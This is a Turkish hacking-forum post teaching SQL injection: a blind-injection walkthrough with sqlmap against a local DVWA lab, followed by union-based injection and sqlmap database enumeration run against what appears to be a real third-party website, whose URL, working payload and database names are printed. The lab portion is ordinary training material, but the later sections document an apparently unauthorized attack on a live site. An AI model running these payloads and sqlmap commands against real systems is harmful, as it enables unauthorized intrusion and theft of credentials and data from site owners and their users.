SQL Injection'a Genel Bakış [VİDEOLU] #M3TA

META

Kıdemli Üye
15 Mar 2017
2,757
2,103
root@M3TA~#
1.) Manuel SQL injection Ve Manuel kolon sayısı tespiti.

[ame="https://www.youtube.com/watch?v=phfAdz3WzbY"]https://www.youtube.com/watch?v=phfAdz3WzbY[/ame]

giphy.gif



THSe2J.png

2.) Blind SQL İnjection [LOW]
sqlmap da sorun olduğun için yazılı şekilde anlatım yapacağım sorun çözünce Video Ekleyeceğim.

İlk önce alttaki görselde olduğu gibi DVWA Security girip "Low" Seviyesini Seçelim.
7alB4N.png


THSe2J.png


Ardından SQL injection (Blind) Kısmına Geliyoruz.

Alttaki görselde olduğu gibi "USUR ID" kutucuğuna "1" Değerini girdim ve bana "User ID exists in the database." Yazısını verdi.
Peki Burda bana söylenen ne?


1 Değerini girdim ve bana "User ID exists in the database." Yazısını verdi. Girdiğim 1 değerinin bir kaydının olduğunu SQL injection'a karşı güvenlik zaafiyetini olduğunu anladık.
V9kQmB.png


THSe2J.png


sonrasın'da dvwa'da F12 tuşuna basarak "Appilication" Kısmına geliyoruz.
Sol taraftaki "Cookies" e tıklayıp "http://localhost"a geliyoruz.

v6OaMr.png


Okla Gösterdiğim çerezleri birleştiriyoruz.

Kod:
security=low;PHPSESSID=5i5g4iejmtvkn5i0n2n004cnl5

THSe2J.png


Dvwa yani local hostumunuz urlsini alıp Cookies çerezlerimiz ile birleştiriyoruz
P1y7y8.png


Kod:
http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit# --cokie="security=low;PHPSESSID=5i5g4iejmtvkn5i0n2n004cnl5" -p id --technique=B --dbms=MySQL --dbs

Yukarıda birleştirdiğim gibi olacak. Önemli bir nokta "localhost" olan kısmı Ana makinanızın IP si olacak örnek "192.168.1.20" bunu öğrenmek için cmd > ipconfig > IPv4 Adresi kısmındaki IP girin.
THSe2J.png

SQLmap açalım ve şu şekilde sqlmap'a urlmizi atalım.


lqM42E.png


Çıkan sonuç şu şekilde olacaktır;
BaqGXD.png

THSe2J.png


Bundan sonra ise dvwa adlı tablo çekilmelidir çekmek için;
Kod:
http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit# --cokie="security=low;PHPSESSID=5i5g4iejmtvkn5i0n2n004cnl5" -p id --technique=B --dbms=MySQL --dbs -D dvwa --tables
v6OyYp.png


THSe2J.png


dvwa tablosunu çektiğimizde böyle bir durum ile karşılaşacağız; Ve user, çekmemiz gerekecek.
AD9GYQ.png


user kolonunu çekmek için;
Kod:
http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit# --cokie="security=low;PHPSESSID=5i5g4iejmtvkn5i0n2n004cnl5" -p id --technique=B --dbms=MySQL --dbs -D dvwa -T users --columns
8aVXgV.png


Alacağımız Sonuç;
qd5ylW.png


THSe2J.png


Ve son olarak "-D dvwa -T users -C user,password --dump" Ekleyerek User,pass bilgilerimizi çekelim.
Kod:
http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit# --cokie="security=low;PHPSESSID=5i5g4iejmtvkn5i0n2n004cnl5" -p id --technique=B --dbms=MySQL --dbs -D dvwa -T users -C user,password --dump

sqlmap'a yukarıdaki gibi atıyoruz ve Son işlem olarak user,pass bilgilerimize ulaşmış oluyoruz.
ZX8nJZ.png


THSe2J.png






giphy.gif




3.) order + by ile MySQL versiyon tespiti Nasıl Yapılır?


Üzerinde uygulayıp göstereceğim site;
Kod:
http://www.beaconnetwork.in/Product1.php?id=5

İlk önce sitemizde SQL injection açığı var mı yok mu onu öğrenelim bunu öğrenmek için
id=5 değerinin sonuna " ' " Tek tırnak veya " Çift tırnak ekleyelim.

bVn91Y.png


MySQL tespiti yapmadan önce kolon sayımızı bulalaım.
order+by+1,2,3,4,5 ekleyerek SQL hatası aldım ve Kolon sayımızın 5 olduğunu anladık.

P1ya3d.png


ardından yapacağımız işlem bu sefer order+by komutu değil'de " union+select+ " komutu olacak

?id=5+union+select+0,1,2,3,4,5 yaparak işleme devam ediyoruz fakat dikkat etmemiz gereken önemli bir husus var, başlarken 0 ile başladığı için sıfırın da sayılması sebebi ile 0,1,2,3,4,5 olarak yapıldığın da kolon sayısı 6 ya yükselmiş olacak bu yüzden sıfır ile beraber toplam da 5 sayı olması gerekiyor yani şöyle 0,1,2,3,4.


Devam edelim ?id=5+union+select+0,1,2,3 yazdım MySQL versiyonunu öğrenmek için eklememiz gereken bir şey daha var o da ?id=-5 "5" Rakamının önüne ' - ' Tire eklemek.
Tire eklendikten sonra tablo sayısı bir olduğu için 0,1,2,3 kısmındaki '1' i silip onun yerine
"version()" yazıyoruz. Ve hemen ekranımıza MySQL versiyonunun yansıdığını görmüş olacağız.
En son İlem şu şekilde olacak
Kod:
http://www.beaconnetwork.in/Product1.php?id=-5+union+select+0,version(),2,3

Anlamayanlar için Video olarak da çektim Daha iyi anlamaları için izleyebilirler.

[ame="https://www.youtube.com/watch?v=lGKLe10UJoM&t=1s"]https://www.youtube.com/watch?v=lGKLe10UJoM&t=1s[/ame]

giphy.gif


3.) SQLmap İle Veri Tabanı İsmi Tespiti.

SQLmap ile veritabanı isim tepiti nasıl yapılır?.

Sql injection açığı olan bir web sitesi olması lazım sql açığı yok ise bu işlemi gerçekleştiremeyiz

Ben bir SQL açıklı site bulmuştum şimdi sqlmap'ı açıp şu kodu gireceğiz;
Kod:
sqlmap.py -u www.website.com/index.php?id=5 --dbs

Pentest Box kullananlar şu şekilde girecek;
Kod:
sqlmap sqlmap.py -u www.website.com/index.php?id=5 --dbs

Üstteki kodumuzu girdikten sonra böyle bir eklan karşılaşacağız;
V9kjjn.png


Ve sqlmap işlemi bitirince bize veritabanı ismini gösterecek bakalım veri tabanı isimlerimiz neymiş;
alV76Q.png


Kod:
[*] beaconn_neweb
[*] information_schema

Veri Tabanları sorunsuz bir şekilde çektik ve Veri Tabanı ismimizi öğrendik. [*] beaconn_neweb Bizim veri Tabanı ismimiz.
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.